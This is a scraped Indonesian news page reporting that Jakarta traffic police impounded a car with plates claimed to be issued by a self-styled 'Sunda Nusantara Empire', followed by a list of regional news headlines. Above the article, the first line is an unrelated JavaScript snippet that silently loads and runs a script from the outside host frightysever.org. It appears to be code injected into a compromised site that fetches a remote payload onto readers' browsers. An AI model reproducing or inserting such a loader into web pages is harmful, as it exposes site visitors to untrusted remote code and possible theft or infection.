(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Viral Kendaraan Kekaisaran Sunda Nusantara, Polisi Temukan Hal Ini


KANALKALIMANTAN.COM – Sebuah mobil jenis Pajero berwarna hitam dengan nomor polisi SN 45 RSD terpaksa diamankan Direktorat Lalu Lintas (Dirlantas) Polda Metro Jaya.

Pasalnya, kendaraan tersebut diklaim diterbitkan oleh ‘Negara Kekaisaran Sunda Nusantara’.

Kasat PJR Polda Metro Jaya Kompol Akmal mengatakan, pemilik mobil tersebut mengaku sebagai seseorang yang berpangkat sebagai jenderal pertama di dalam dokumen yang ditemukannya.

“Yang bersangkutan tidak mengaku sebagai Jenderal, hanya menunjukkan dokumen. Di dokumen itu dia menyebut dirinya dengan pangkat Jenderal pertama,” kata Akmal, Rabu (5/5/2021).

Baca juga : Kapolres HSU Cek Kesiapan Petugas Operasi Ketupat Intan 2021

Ia menambahkan, pihaknya tidak menemukan benda berbahaya atau yang mencurigakan saat melakukan pemeriksaan dan hanya menemukan Surat Izin Mengemudi (SIM).

“Saat dilakukan pemeriksaan tidak ditemukan senjata api, hanya SIM tersebut, hal itu didapatkan karena yang bersangkutan melanggar Undang-undang lalu lintas dan didapatkan SIM tersebut,” sebutnya.

Lalu, terkait dengan dokumen yang ia temukan tersebut. Pihaknya masih berkoordinasi dengan Direktorat Reserse Kriminal Umum Polda Metro Jaya.

“Saat ini kami koordinasi dengan Krimum terkait dengan dokumen tersebut. Saat ini yang bersangkutan lagi di interogasi” ujarnya, melansir Batamnews (jaringan Suara.com).

Baca juga : Bupati HSU Resmi Keluarkan Larangan Mudik, Cegah Keluar Masuk Wilayah HSU

Dikanarkan sebelumnya, kendaraan dengan plat nomor SN 45 RSD diklaim diterbitkan oleh ‘Negara Kekaisaran Sunda Nusantara’ ditahan oleh Satuan Patroli Jalan Raya Ditlantas Polda Metro Jaya.

Dirlantas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo menuturkan, penilangan tersebut berdasarkan aturan hukum yang berlaku.

“Kita tilang berdasarkan Undang-Undang Lalu lintas dan Angkutan Jalan (LLAJ),” kata Dirlantas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo saat dikonfirmasi, Jakarta, Rabu (5/5/2021).

“Kita akan koordinasi dengan penyidik reserse apakah ada pelanggaran pidananya,” tambahnya. (Suara.com)

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.